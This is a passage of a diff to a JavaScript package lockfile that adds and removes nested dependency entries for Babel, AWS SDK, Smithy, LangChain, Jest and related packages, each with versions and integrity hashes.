- "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@babel/plugin-transform-function-name/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@babel/plugin-transform-object-rest-spread/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
- "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
- "@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
- "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@google/genai/google-auth-library/gaxios/node-fetch": ["node-fetch@3.3.2", "", { "dependencies": { "data-uri-to-buffer": "^4.0.0", "fetch-blob": "^3.1.4", "formdata-polyfill": "^4.0.10" } }, "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA=="],
-
- "@google/genai/google-auth-library/gaxios/rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": "dist/esm/bin.mjs" }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="],
-
- "@grpc/proto-loader/protobufjs/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
"@istanbuljs/load-nyc-config/find-up/locate-path/p-locate": ["p-locate@4.1.0", "", { "dependencies": { "p-limit": "^2.2.0" } }, "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A=="],
"@jest/expect/expect/jest-matcher-utils/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
+ "@jest/fake-timers/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+
"@jest/reporters/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
"@jest/reporters/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
@@ -8639,8 +7967,6 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection/@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.1.1", "", {}, "sha512-RcLam17LdlbSOSp9VxmUu1eI6Mwxp+OwhD2QhiSNmNCzoDb0EeUXTD2n/WbcnrAYMGlmf05th6QYq23VqvJqpA=="],
@@ -8649,10 +7975,6 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
@@ -8661,10 +7983,6 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
-
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
@@ -8695,8 +8013,6 @@
